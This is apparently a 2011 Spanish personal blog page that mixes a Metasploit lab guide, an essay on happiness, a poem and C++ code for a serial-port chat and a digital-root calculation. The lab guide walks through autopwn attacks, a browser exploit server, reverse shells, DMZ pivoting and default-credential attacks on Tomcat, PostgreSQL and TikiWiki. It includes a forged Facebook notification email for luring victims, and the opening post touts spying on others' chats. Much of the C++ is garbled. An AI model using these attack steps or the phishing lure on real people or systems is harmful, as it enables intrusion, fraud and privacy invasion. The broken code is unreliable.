miércoles, 19 de enero de 2011

Sabias que

Sabias que en facebook puedes mantener dos sesiones al mismo tiempo?

Eso significa que puedes espiar las conversaciones de alguien en tiempo real :O

Guía de laboratorio firewall e ids

“Una vulnerabilidad es tan limitada como tú quieras que sea”

En su computador encontrara 3 maquinas virtuales llamadas {1,2,3},corralas
1: backtrack(BackTrack es una distribución GNU/Linux en formato LiveCD pensada y diseñada para la auditoría de seguridad y relacionada con la seguridad informática en general)
2: Ubuntu server
3: Windows xp(Windows xp sp2)

Para backtrack dar start backtrak stream buffer (primera opción)
Ifconfig eth1 192.168.0.11 netmask 255.255.255.0
Luego escribir startx

Ubuntu server:
Escribir login :
User: msfadmin
Password: msfadmin
Escribir startx

Windows xp
No toca hacer nada






Primer ataque(firewall desactivado)

Para nuestro primer ataque vamos a utilizar el agente malicioso backtrack y Windows xp
Primero vamos a comprobar la eficiencia de nuestro firewall instalado por defecto
En backtrack abrimos una konsole y escribimos ping 192.168.0.120 y veremos que no nos permite hacer un ping
Luego nmap 192.168.0.120 para observar si podemos ver los puertos, pero efectivamente están todos filtrados.
Ir a backtrack->penetration->All ->Msfconsole

Ahí escribir db_driver sqlite3
db_create redes
db_connect redes
Eso lo hacemos para crear una base de datos y allí guardar todas las vulnerabilidades encontradas método llamado ( Vulnerability Assessment: análisis de puntos débiles o vulnerabilidades De carácter técnico realizado a un sistema, guardando estos puntos débiles en una base de datos).


Como este primer ataque se divide en dos , procedemos a desactivar el firewall de Windows xp
Inicio->panel de control->centro de seguridad->firewall de Windows->marcar la opción desactivado (no se recomienda)

Ahora en backtrack , ya tenemos lista nuestra base de datos (bolsa) y lo que haremos será hacer un análisis de footprinting para saber a qué tipo de sistema nos enfrentamos


Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos.





Escribir en una msfconsole
db_namp –PN –A 192.168.0.120
-PN : intenta identificar los servicios por los puertos abiertos en el sistema esto permite evaluar cada servicio de forma individual para intentar ubicar vulnerabilidades en los mismos.
-A: análisis completo para la identificación del sistema operativo

Luego escribir
Db_autopwn : script que permite realizar ataques múltiples basándose desde una base de datos

db_autopwn -t -p –e

Ahora revisamos las sesiones que se han creado

El meterpreter o meta intérprete es una familia de plugins avanzados para utilizar sobre sistemas Windows comprometidos que tienen como característica fundamental que todo es cargado en la memoria del sistema sin crear ningún proceso adicional.




Sessions –l

Para elegir la sesión hacemos sessions –i 1 o 2

Creamos la Shell reverse

Shell

Si no podemos crearla damos escribimos exit y re elegimos la sesión



Primer ataque (firewall activado)

Lo que haremos en este tipo de ataque es hacer que la victima caiga en una trampa y por medio de esta crear una Shell reversa.
Ir a backtrack->penetration->All ->Msfconsole

Alli escribir : nmap 192.168.0.120

Como podemos ver no se ha podido establecer ping con la víctima , cualquier persona creería que esto es seguro , pero ya veremos que no lo es .



Ahora escribir :
Use server/browser_autopwn
Este es un exploit que nos permite crear un servidor cargado de script envenenado con esto crearemos la conexión remota.

Show options


Set LHOST 192.168.0.11 // esto quiere decir donde quedara alojado nuestro server

Set SRVHOST 192.168.0.11// con esto le decimos que haga la conexión a el mismo para que en vez de lanzar un ataque a un servidor se vuelva promiscuo y espere peticiones


Set SRVPORT 80 // indicamos el puerto de salida de nuestro servidor

Ahora escribir: run


Acá veremos que se acaba de crear nuestro servidor.


El siguiente paso es hacer que nuestra victima caiga ingresando a la pagina pishing .

Como?
En la vida real se podría hacer mediante un mensaje de notificación de facebook ,
Es tan sencillo como crear un mensaje nuevo desde nuestra cuenta de Hotmail.com allí darle en editar texto modo html

Y escribir los datos que faltan en las xxx y luego enviarlo 










AMIGO_QUE_ENVIA_MENSAJE ha etiquetado una foto tuya en tu álbum.

Para ver las fotos, sigue el siguiente enlace:


http://www.facebook.com/n/?photo.php&pid=439128&op=1&view=all&subj=1101827805&id=1405875231&mid=a0d79cG41ac8eddG8ac16dG5

Gracias,
El equipo de Facebook

___
Este mensaje estaba destinado a PNOMBRE DE LA VICTIMA . Deseas controlar los mensajes de correo electrónicos que recibes de Facebook? Visita:
http://www.facebook.com/editaccount.php?notifications&md=cGhvdG9fdGFnO2Zyb209MTQwNTg3NTIzMTt1aWQ9MTQwNTg3NTIzMTtwaWQ9NDM5MTI4O3RvPTExMDE4Mjc4MDU=&mid=a0d79cG41ac8eddG8ac16dG5
Las oficinas de Facebook estan en 1601 S. California Ave., Palo Alto, CA94304.
En Windows xp abrimos el navegador y escribimos:
192.168.0.11/código
El código es el que sale de donde dice Using URL: 192.168.0.11/código

Escribimos sessions –l
Luego sessions –i número de la sesión
Podemos crear una Shell escribiendo “Shell”














COMPROMETIENDO UNA ARQUITECTURA DMZ

En la misma msfconsole escribir:
route
run get_local_subnets

run arp_scanner –r 192.168.0.1/24 // para saber que nodos están activos

Ahora pulsamos control+z para dejar nuestra sesión en background
Escribimos Y
Back
Route
route print
route add 192.168.0.22 255.255.255.0 1// añadimos nuestra nueva víctima que está dentro de la red comprometida
route print // verificamos que se haya creado la sesión
sessions –l
back // volvemos atrás para lanzar otro exploit

use auxiliary/scanner/portscan/tcp //exploit

lo que haremos será evaluar cuales puertos se encuentran abiertos

set PORTS 1-1000
set RHOSTS 192.168.0.22
run


connect -c 1 192.168.111.2 23// nos conectamos al puerto 23 por medio de la primera víctima que hace de puente


Atacando una base de datos dentro de la DMZ
Tiki CMS/Groupware o TikiWiki es un sistema de gestión de contenidos de índole colaborativa (CMS/Groupware) fácil de configurar y personalizar, diseñado para crear portales, sitios comunitarios, intranets y aplicaciones web en general.

Como ya sabemos que puertos tiene hacemos un
db_driver sqlite3
db_create a
db_connect a
db_nmap –NP –A 192.168.0.22

luego hacemos un db_services
y listo ahora damos

en esta sección atacaremos todas las vulnerabilidades encontradas y realizaremos el ataque vía tunneling 192.168.0.120


back
use auxiliary/admin/tikiwiki/tikidblib // atacaremos la base de datos que está en 192.168.0.22 que posee myql

set RHOST 192.168.229.129

exploit
ahora ya tenemos los datos de la base de datos

Abrimos otra konsole y escribimos mysql –u root –h 192.168.0.22 –proot

Atacando el servidor tomcat
Tomcat (también llamado Jakarta Tomcat o Apache Tomcat) funciona como un contenedor de servlets desarrollado bajo el proyecto Jakarta en la Apache Software Foundation. Tomcat implementa las especificaciones de los servlets y de JavaServer Pages (JSP) de Sun Microsystems.






En la msfconsole

use auxiliary/scanner/http/tomcat_mrg_login

set RHOSTS 192.168.0.22
set RPORT 8180
run


Cuando aparezca en verde es que encontró el login [+]
.. Aprovechando el user y el pass conseguimos otro exploit
En la msfconsole escribir

Back

use exploits/multi/http/tomcat_mgr_deploy
set USERNAME tomcat
set PASSWORD tomcat
set RPORT 8180
set RHOST 192.168.0.22
control +z
sessions –l




Ataque PostgreSQL
En la misma msfconsole
Back
use auxiliary/scanner/ postgres/postgres_login
set RHOST 192.168.0.22
nos logramos loguear con
usuario y password: postgres.

Ahora que ya tenemos los datos nos interesa el el fichero de configuración de usuarios para después realizar un brute forcé hacia el ssh

Back
use auxiliary/admin/ postgres/postgres_readfile
set PASSWORD postgres
set RHOST 192.168.0.22
Por último hacemos un db_autopwn –t –e –p

Elogio a la Dificultad

Es difícil entender el concepto de felicidad cuando la sociedad nos la vende como algo perpetuo, en la realidad el ser humano está siempre en la búsqueda de la liberación de sí mismo y busca excusas para no sentirse culpable de su falta de sapiencia sobre lo que desconoce y por tanto lo que teme .La felicidad viene en latas de sardinas pero el hombre espera comprar una gran ración esperando que estas le sirvan en momentos de tormenta y resguardo. Pero porque es tan difícil ser feliz? Tal vez sea porque el hombre está acostumbrado a llevar su vida y completar sus logros por el camino más fácil y porque no? En el mundo donde vivimos siempre tan capitalista importa es el logro de los objetivos sin justificar medios ni acciones que perjudiquen a los individuos en los que somos parte de la sociedad. Las personas sueñas despiertas y esperan y muchas veces confunden sus sueños con al realidad , se imaginan en carros lujosos mujeres ganando mucho dinero y finalmente siendo feliz ,pero al momento de alcanzar un logro académico y superarse a si mismo de manera intelectual sin importar el hecho , perdían el sentido de sus sueños y cada vez lo ven más lejos, en este sentido el hombre no se preocupa mas haya de pasar el momento de sentirse bien pasarla bien , pero sus metas se ven recabadas en drogas sexo vicios vánales que no comprenden no intimidan solo gustan y defienden el creer en la felicidad absoluta porque es posible ser feliz mientras estés ligado con las reglas de mostrar lo que no eres de un consumismo canibalista donde se desprecia a las personas por lo que visten y tienen grupos donde el ser real esta en compartir lo que se expresa en valor monetario esperando sentirse regocijado por eso que tenemos y vació por lo que nos falta comprar, en su finalidad basura pero si que es difícil vivir sin basura y mucho menos solucionar los problemas difíciles solo postergándolos y esperando que tu ser de mañana lo resuelva porque tu siempre tendrás 3 días en tu vida pero solo estas en uno y es el hoy así que tus problemas de ayer quedaran preocupándote pero no perdiste la esperanza de que el día de mañana lo resuelvas siempre y cuando no sea necesario realizar mucho esfuerzo y si es posible que lo realice otra persona mucho mejor.
La responsabilidad viene dada con el ánimo de satisfacción cuando logramos alcanzar nuestras metas y el triunfo muchas veces se logra con el esfuerzo hecho a lo largo del camino, pero el hombre busca caminos cortos resultados instantáneos y que beneficio tiene esto? pues que se pretende suplantar los logros propuestos por sub logros que se medio realizan trabajando con una responsabilidad mínima. En el caso de Colombia se ha decidido por mandato de los grandes personajes que gobiernan este país que para salir rápido de una pobreza absoluta y que para aportar mas en el desarrollo de nuestra Colombia, es mejor estudiar una carrera técnica la cual nos brindara toda la información y formación necesaria para salir a una selva llena de técnicos igual que tu y regalando su trabajo para volverse mas competitivo. Un estudiando de 11 de bachillerato de estrato 1 2 y 3 ya no piensa en estudiar 5 años porque quiere tener su propio dinero y manejarse ya como un adulto .Pero el estado también los ha hecho pensar que un estudio técnico es la solución a los problemas económicos porque es eso solo es el dinero un joven no estudia por aprender estudia por ganar dinero entonces encontraremos trabajadores que lucharan por trabajar muy poco y ganar mucho por crear sindicatos y días festivos y exigir prestaciones , esto en algún sentido esta bien porque defiende los derechos y muchas empresas también los explotan demasiado por el simple hecho de ser mano de obra , pero aquí tenemos el otro ejemplo un estudiando de 11 grado de bachillerato de estratos 3 ,4 y 5 se decide por estudiar una carrera de tipo cocina ahora bien porque los jóvenes de ahora se interesan tanto por la cocina? Porque en esta era el esfuerzo viene dado desde pequeños , en primaria se enseña y se aprende sobre la responsabilidad sobre que la lucha crea logros y éxito pero los jóvenes ven esta lucha opacada por las grandes sumas de dinero y la limosidad de sus padres que reemplazan amor por regalos exóticos y caros y no enseñan a un niño que el esfuerzo es recompensado y finalmente terminan ahogados en preguntas existenciales revolcándolas las cabezas diciéndoles que no saben que hacer con sus vidas . Pero no hay que menospreciar y a los chefs el mundo es un mercado cambiante y solo el mañana nos dirá si la ola de técnicos acabara con los profesionales y afines que creen que este esfuerzo los hace llegar un piso arriba sobre la competitividad profesional.

Pero tal vez el éxito no siempre este dado con la realización de un esfuerzo conveniente ahora se lucha con acciones que hace 50 años solo las personas soñaban y creían imposible pero no por ser así debemos abandonar nuestro emprendimiento esas veces que se intento y no se logro nos significa que todo esfuerzo es en vano solo es seguir una lucha constante no por creer en la verdad de una sociedad debes creerla esfuérzate por creer en ti en confiar en ti no en seguir a un grupo que pretende tener la verdad porque solo encontraras una falsa felicidad que te durara lo que tardaste en buscarla luchar es sinónimo de esfuerzo lucha por saber quién eres por sentirte feliz por superarte a ti mismo y entender que la vida no es más que un momento que es muy largo y que el tiempo que dures buscando la felicidad en cosas que no te darán realmente esta serán el tiempo que te cobrara la vida por no haber aprovechado lo que realmente es ser feliz. Lucha por ser siempre un ente que se esfuerza no un ente que vive , algunas personas solo viven otras hacen que su vida cambie a la sociedad . Nunca esperes al mesías al salvador que nos de la luz para nuestra liberación atenuante que soñamos por alcanzar cada día, no sigas sumiso solo porque te lo dicen tus padres los ideales son ideales y el único que importa es lograrlos porque siempre será así , has las cosas que creas que no son imposibles así la sociedad te diga que si lo es porque vivimos en un mundo inmerso de mentiras y falsas excusas para aprovecharse de los de más de vivir de los demás y sentirse bien , robar la felicidad de otros pensando que es como una flujo de energía que se pasa de uno a otro por ósmosis , ese sentimiento de ver a las personas mal y tu bien debes desecharlo y ojala nunca volverlo a sacar por que la vida misma te enseña que las cosas nunca serán fáciles y que por más que logres evadir tu lucha esta te encontrara ya agotado y sin esperanzas y ella te cobrara paso por paso el camino que te falto para ser feliz.

Que esperar

Que esperar de mi boyante noche que las miradas se ocultan a tu voz de las garras de lobos que buscan sangre sin esperar ni un instante para morir por tus besos en el adiós de un verbo eterno que me dice que algún día seras mi amor eterno

chat por puerto serial r-232

#include <>
#include <>
#include <>
#include <>
#include <>
#include <>
using namespace std;
bool confirmar_trasmisicion(char aux, char a[]);
bool iniciar_trasmicion(char a[]);
bool emisor(char a[]);
bool receptor(char a[]);
char mandar_primitiva(char primitiva,char a[]);
unsigned short CRC16(char value);
unsigned short desarmarTrama(char& dato, unsigned int trama);
unsigned int armarTrama(char dato, unsigned short crc);
void rellenar_trama(char a[], char aux[]);
string colocar_crc_a_trama(string aux1);
string sacarle_crc_a_trama(string trama);
string quitar_payload(string trama);
bool confirmar_trasmisicion_trama(char aux[], char a[]);

int contador_maestro=0;
int main(void)
{
int c;
char serial[10]={"COM1"};
//cout<<"ingrese el puerto en mayusculas"<//cin>>serial;
int opcion=0;
cout<<"iniciar juego = 1 "<cin>>opcion;
if(opcion==1)
{
//if(iniciar_trasmicion(serial)==true){
while(true){
while(emisor(serial)!=false){}
while(receptor(serial)!=false){}
}
//}
//else cout<<"la trasmisicion no se pudo completar"<
}
if(opcion==2)
{
while(true){
while(receptor(serial)!=false){}
while(emisor(serial)!=false){}


}

}
}


bool iniciar_trasmicion( char a[] )
{



FILE *dp;
if ((dp = fopen(a, "wt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}
bool bo=false;
char aux;
char ma;
cout<<"estableciendo conexion : ingrese la letra E para iniciar conexion"<
cin>>ma;
aux=ma;
cout<<"esperando confirmacion de recepcion..."<fputc( ma, dp);
fflush(dp);
fclose(dp);
int contador =0;
while(contador!=11)
{
if(contador==10)return false;
if(confirmar_trasmisicion(ma,a)==true)return true;
else confirmar_trasmisicion(ma,a);
contador++;
}
fclose(dp);
}

bool confirmar_trasmisicion(char aux, char a[])
{
FILE *dp;
if ((dp = fopen(a, "rt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}
char c;
c=fgetc(dp);
if(c==121){cout<<"dato enviado correctamente ACK"< else{cout<<"dato erroneo NACK reenviando dato"< fclose(dp);
char copia[1]={aux};
rellenar_trama(a,copia);
}
fclose(dp);
}
bool confirmar_trasmisicion_trama(char aux[], char a[])
{
FILE *dp;
if ((dp = fopen(a, "rt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}
char c;
c=fgetc(dp);
if(c==121){cout<<"trama enviada correctamente ACK"< else{cout<<"trama erronea NACK reenviando trama"< fclose(dp);if ((dp = fopen(a, "wt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}
string aux1=aux;

string nueva_trama_rellena_de_crc;
nueva_trama_rellena_de_crc = colocar_crc_a_trama( aux1);


while(nueva_trama_rellena_de_crc.size()!=19){

nueva_trama_rellena_de_crc+="f";

}
int ingresar_dato;
cout<<"desea dañar la trama? 1= SI 2= NO"< cin>>ingresar_dato;
if(ingresar_dato==1){string da;cout<<"ingrese la nueva trama dañada"<>da;nueva_trama_rellena_de_crc=da; fputs(nueva_trama_rellena_de_crc.c_str(), dp);
fflush(dp);fclose(dp); char *aa;aa=new char [nueva_trama_rellena_de_crc.size()+1];strcpy(aa,nueva_trama_rellena_de_crc.c_str()) ; confirmar_trasmisicion_trama(aa,a);}
else{
fputs(nueva_trama_rellena_de_crc.c_str(), dp);
fflush(dp);fclose(dp);

char *aa;aa=new char [nueva_trama_rellena_de_crc.size()+1];strcpy(aa,nueva_trama_rellena_de_crc.c_str()) ; confirmar_trasmisicion_trama(aa,a);
}

}
fclose(dp);
}
bool emisor(char a[]){

char aux[48];
cout<<"Ingrese el texto que desea enviar,para finalizar ingrese la letra f "< cin>>aux;


if(aux[0]=='f'||aux[0]=='F'){FILE *dp;
if ((dp = fopen(a, "wt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}


string aux1=aux;
string nueva_trama_rellena_de_crc;
nueva_trama_rellena_de_crc = colocar_crc_a_trama( aux1);


while(nueva_trama_rellena_de_crc.size()!=19){

nueva_trama_rellena_de_crc+="f";

}
int contador =0;
cout<<"esperando confirmacion de recepcion..."<
fputs(nueva_trama_rellena_de_crc.c_str(), dp);
fflush(dp);fclose(dp);

while(contador!=11)
{
if(contador==10)return true;
if(confirmar_trasmisicion('f',a)==true){
int finalizar;cout<<"MODO RECEPTOR: Esperando datos..."<
cin>>finalizar;
if(finalizar==1){system("exit");cout<<"deberia salirse"< if(finalizar==2) {return false;}
}
else confirmar_trasmisicion('f',a);
contador++;
}

}

else{
FILE *dp;
if ((dp = fopen(a, "wt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}
string aux1=aux;
string nueva_trama_rellena_de_crc;
nueva_trama_rellena_de_crc = colocar_crc_a_trama( aux1);

while(nueva_trama_rellena_de_crc.size()!=19){

nueva_trama_rellena_de_crc+="f";

}
cout<<"TRAMA : "< int ingresar_dato;
cout<<"desea dañar la trama? 1= SI 2= NO"< cin>>ingresar_dato;
if(ingresar_dato==1){string da;cout<<"ingrese la nueva trama dañada"<>da;nueva_trama_rellena_de_crc=da; fputs(nueva_trama_rellena_de_crc.c_str(), dp);
fflush(dp);fclose(dp); if(confirmar_trasmisicion_trama(aux,a)==true) {return true;}else {return true;};}
else{
fputs(nueva_trama_rellena_de_crc.c_str(), dp);
fflush(dp);fclose(dp);

if(confirmar_trasmisicion_trama(aux,a)==true) {return true;}else {cout<<"se salio "< }
}
}
char mandar_primitiva(char primitiva, char a[] ){
FILE *dp;
if ((dp = fopen(a, "wt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}
fputc(primitiva, dp);
fflush(dp);fclose(dp); }

void rellenar_trama(char a[], char aux[] ){
FILE *dp;
if ((dp = fopen(a, "wt"))==NULL)
{
printf("No se pudo abrir el puerto COm , algo pasa ..\n");}
string aux1=aux;
while(aux1.size()!=19){

aux1+="f";

}

fputs(aux1.c_str(), dp);
fflush(dp);fclose(dp);
}
string quitar_payload(string trama){
string nuevo;
for(int i=0;i if(isdigit(trama[i])!=false)
{}else if(trama[i]!='f'&&trama[0]!='f'){nuevo+=trama[i];}
}


return nuevo;
}

bool receptor(char a[]){
cout< contador_maestro++;
cout<<"Esperando datos... "< FILE *dp;
if ((dp = fopen(a, "rt"))==NULL){printf("No se pudo abrir el puerto COm , algo pasa ..\n");return 1;}
char capturar[20];
fgets(capturar,20,dp);
if(capturar[0]=='f'||capturar[0]=='F'){cout<<"Enviando confirmacion de recepcion [ACK]"<else {
string nuevo;
nuevo = quitar_payload(capturar);
cout<<"sin crc : "<cout<<"crc de la trama : "<string aux1=colocar_crc_a_trama(nuevo);
cout<<"aux1 : "<string crc_generado_del_emisor=sacarle_crc_a_trama(aux1);
cout<<"crc_generado_del_emisor : "<if(sacarle_crc_a_trama(capturar)==crc_generado_del_emisor){cout<<"TRAMA CORRECTA"<else {cout<<"TRAMA INCORRECTA"<cout<fclose(dp);
return true;
}


}
unsigned short CRC16(char value){
//poly = polinomio de crc16 (x16 + x15 + x2 + 1) = 0xA001
unsigned short poly = 0xA001, init_value = 0x0000, exit_value = 0x0000;
unsigned short res;
char i;

res=value;

res^=init_value;

for(i=0;i<8;i++){
if(res & 1){
res>>= 1;
res^=poly;
}else{
res>>= 1;
}
}

res^=exit_value;
res^= 0xFFFF;
return res;
}

//anexa el dato al crc armando la trama para enviar
unsigned int armarTrama(char dato, unsigned short crc)
{
unsigned int res = crc;
res <<= 8;
//cout << res << endl;
res += dato;
return res;
}

//retorna el CRC que sale de la trama recibida y por referencia, dato devuelve el caracter recibido en la trama
unsigned short desarmarTrama(char& dato, unsigned int trama)
{
unsigned int crc = trama;
crc >>= 8;
unsigned short res = crc;
crc <<= 8;
dato = trama-crc;

return (unsigned short) res;
}

string sacarle_crc_a_trama(string trama)
{string nuevo;
for(int i=0;i if(isdigit(trama[i])!=false)
{

nuevo+=trama[i];

}
}


return nuevo;
}


string colocar_crc_a_trama(string aux1)
{

int sumatoria=0;
for(int i=0;i {



char datos = aux1[i];
unsigned int i;
unsigned short inival;
//genera el crc del caracter
inival = CRC16(datos);

// cout << "El CRC del caracter: " << datos << " es: " << inival << endl;

//genera la trama en un entero sin signo
unsigned int trama = armarTrama(datos, inival);
//cout << "trama = " << trama << endl;

//data almacena el dato que se saca de la trama
char data;


/*dañamos trama -- descomentariar para reconocer trama dañada
trama += 1;
cout << "trama modificada = " << trama << endl;
*/
unsigned short crc = desarmarTrama(data, trama);
//crc almacena el crc para comparar la trama

// cout << "dato en trama: " << data << ", CRC en trama:" << crc << endl;

//para sabes si la trama llego bien se compara crc con el CRC16 del
//dato recibido, si son iguales, la trama esta bien, de lo contrario,
//hay que pedir la trama de nuevo
sumatoria+=CRC16(data);
cout<<" sumatoria : "<< sumatoria< }
char poli[65536];
aux1+=itoa(sumatoria,poli,10);
return aux1;

}

Sacar la raiz digital de un numero en c++

#include < iostream >
#include < string >
#include < sstream >
#include < fstream >
using namespace std;
main()
{
fstream io("roots.in",ios::in | ios::out);
string a_x1;
while(cin>>a_x1)
{if(a_x1=="0"){break;break;}
a:
if(a_x1.size()>1)
{ int a_x2=0;

for(int i=0;i
a_x2+=(int)a_x1[i] - 48;

}
a_x1.clear();
if(a_x2<10 )
{
cout< }

else {
stringstream out;
out << a_x2;
a_x1 = out.str();
goto a;}
}
}
getchar();
}